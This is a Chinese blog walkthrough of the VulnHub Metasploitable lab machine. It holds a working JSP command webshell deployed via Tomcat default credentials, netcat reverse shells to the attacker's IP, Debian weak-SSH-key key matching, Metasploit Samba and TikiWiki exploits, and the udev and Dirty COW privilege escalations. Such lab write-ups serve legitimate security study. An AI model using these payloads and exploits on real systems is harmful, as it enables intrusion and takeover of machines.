• VulnHub metasploitable-1


    1. 🍬 博主介绍
    2. 👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
    3. ✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
    4. 🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
    5. 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
    6. 🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

    目录

    一、信息收集

    1.nmap扫描

    二、漏洞利用

    1.漏洞一

    1.访问80端口

    2.tomcat漏洞

    3.上传war包

    4.反弹shell

    5.ssh公钥文件

    6.root权限

    2.漏洞二

    利用msf

    3.漏洞三

    1.目录扫描

    2.msf

    3.udev提权

    4.root权限

    4.漏洞四

    1.脏牛提权

    2.ssh连接


    //提权的种类:

    1 横向提权:低权限角色能够获得高权限

    2.纵向提权:获得同级别角色的权限

    一、信息收集

    1.nmap扫描

    发现开发了很多端口和服务都可以利用

    二、漏洞利用

    1.漏洞一

    1.访问80端口

    首先查看第一个网站就是80端口

    查看下8180端口下面的tomcat

    2.tomcat漏洞

    利用tomcat文件上传漏洞,点击tomcat manager

    1. 账号:tomcat
    2. 密码:tomcat

    存在一个文件上传的上传点

    3.上传war包

    jsp的可回显马,将他打包成war上传

    1. <%
    2. if("123".equals(request.getParameter("pwd"))){
    3. java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    4. int a = -1;
    5. byte[] b = new byte[2048];
    6. out.print("
      ");
    7. while((a=in.read(b))!=-1){
    8. out.println(new String(b));
    9. }
    10. out.print("
    ");
  • }
  • %>
    1. //jar -cvf 被打包的war包名字 jsp的可回显马
    2. jar -cvf tomcats.war tomcat.jsp

    1. 然后我们访问下:
    2. url:8180/war包名称/jsp木马完整名称
    3. http://192.168.103.187:8180/tomcats/tomcat.jsp?pwd=123&cmd=id

    发现回显出来的权限不高

    4.反弹shell

    1. ┌──(root💀kali)-[~/桌面]
    2. └─# nc -lvvp 4444
    3. listening on [any] 4444 ...
    4. http://192.168.103.187:8180/tomcats/tomcat.jsp?pwd=123&cmd=nc -e /bin/bash 192.168.103.129 4444
    5. url编码:
    6. http://192.168.103.187:8180/tomcats/tomcat.jsp?pwd=123&cmd=nc%20-e%20%2Fbin%2Fbash%20192.168.103.129%204444
    7. python -c 'import pty; pty.spawn ("/bin/bash")' #交互式shell

    查看内核版本 uname -a

    5.ssh公钥文件

    1. 最后在/root/.ssh目录中发现了一个公钥文件
    2. 这个在低版本中也是可以利用

    1. 因为这里版本较低,然后是猜测存在openssl软件包伪随机数泄露,这里将那个包下载过来
    2. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
    3. (debian_ssh_rsa_2048_x86.tar.bz2)
    1. .tar.bz2
    2. 解压:tar jxvf FileName.tar.bz2
    3. 压缩:tar jcvf FileName.tar.bz2 DirName
    4. tar jxvf 5622.tar.bz2

    然后来到/rsa/2048目录下面

    1. grep -l AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable *.pub
    2. //使用命令查找
    3. 57c3115d77c56390332dc5c49978627a-5429

    6.root权限

    然后我们直接通过私钥就可以登录了,然后我们直接就登录进root了

    1. ┌──(root💀kali)-[~/routing/rsa/2048]
    2. └─# ssh root@192.168.103.187 -i 57c3115d77c56390332dc5c49978627a-5429

    2.漏洞二

    利用msf

    可疑看到开放了samba服务,版本是:samba 3.x

    可疑上网搜一下这个samba 3.x版本msf要用到的payload

    msf所要用到的命令:

    1. search samba 3.x
    2. use exploit/multi/samba/usermap_script
    3. show payloads
    4. set payload cmd/unix/reverse
    5. show options
    6. set RHOSTS 靶机IP
    7. run

    直接进入shell,是root权限

    3.漏洞三

    1.目录扫描

    dirsearch -u "http://192.168.103.187/"
    

    扫描到phpinfo信息和/tikiwiki

    tikiwiki 1.9.5存在rce漏洞

    2.msf

    search tikiwiki

    use 2

    run,进入shell界面

    3.udev提权

    查看版本信息

    searchsploit linux 2.6
    

    copy到特定目录

    cp /usr/share/exploitdb/exploits/linux/local/8572.c /root/routing
    

    python开启http服务

    python3 -m http.server 80
    

    靶机使用wget下载到/tmp目录(tmp目录 下有可执行权限)

    wget http://192.168.103.129/8572.c
    

    反弹shell的payload要保存在/tmp/run中

    1. 然后给他执行的权限,chmod +x 8478.sh
    2. 然后查看里面知道要netlink这个文件,然后搞里面不是零的pid。
    3. 我们要找到 Netlink 套接字的 PID,这个 PID 通常比 UDEVD 的 PID 小1
    4. 我们使用 cat /proc/net/netlink 命令来查看 PID,唯一的非0的 PID 就是我们想要的数字。
    5. 我们可以验证这个 PID 是否正确,
    6. 使用 ps aux | grep udev 来查看 UDEVD 的 PID
    1. 编译脚本
    2. gcc 8572.c -o routing
    3. # 生成反弹shell脚本,必须得是在/tmp/run目录
    4. echo '#!/bin/sh' > /tmp/run #写入并生成一个run目录
    5. echo '/bin/netcat 192.168.103.129 9999 -e /bin/sh' >> /tmp/run
    6. # 查询udev运行PID
    7. ps aux | grep udev
    8. #kali开启监听
    9. ┌──(root💀kali)-[~/桌面]
    10. └─# nc -lvvp 9999
    11. # 运行提权脚本,后面加上udev的PID
    12. ./routing 2998 #这个 PID 通常比 udevd 的 PID 小1
    13. python -c 'import pty; pty.spawn("/bin/bash")' #交互式shell

    4.root权限

    4.漏洞四

    1.脏牛提权

    1. //自己可以在靶机中试试,可以的话,就直接到编译哪一步
    2. wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
    3. python -c 'import pty; pty.spawn("/bin/bash")' #交互式shell
    4. //使用Python开启临时网站
    5. python3 -m http.server 80
    6. //靶机下载本机的dirty.c过来
    7. //注意要看自己的ip
    8. wget http://192.168.103.129:80/dirty.c
    9. //编译
    10. gcc -pthread dirty.c -lcrypt -o dirty
    11. //给权限
    12. chmod +x dirty
    13. //执行
    14. ./dirty

    2.ssh连接

    1. 注意执行以后他就会叫我们输入密码,这里看自己,出现下面那个用户就可以了
    2. 这里我的就是firefart:root

  • 相关阅读:
    计算机毕设 opencv 图像识别 指纹识别 - python
    无法将“node.exe”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。
    法律英语如何翻译比较好
    Java基础二十五(Map)
    linux 合并两个文件夹中的方法
    程序员8年薪资变化火了,网友直呼:我一年的和人家一个月差不多
    MySQL实战基础知识入门(13):数据类型
    纵横内外·突破盲区|BF-TR8500​高功率全频段数字中继台
    nodeJs 实现视频的转换(超详细教程)
    贪心算法之背包问题
  • 原文地址:https://blog.csdn.net/SENMINGya/article/details/134054012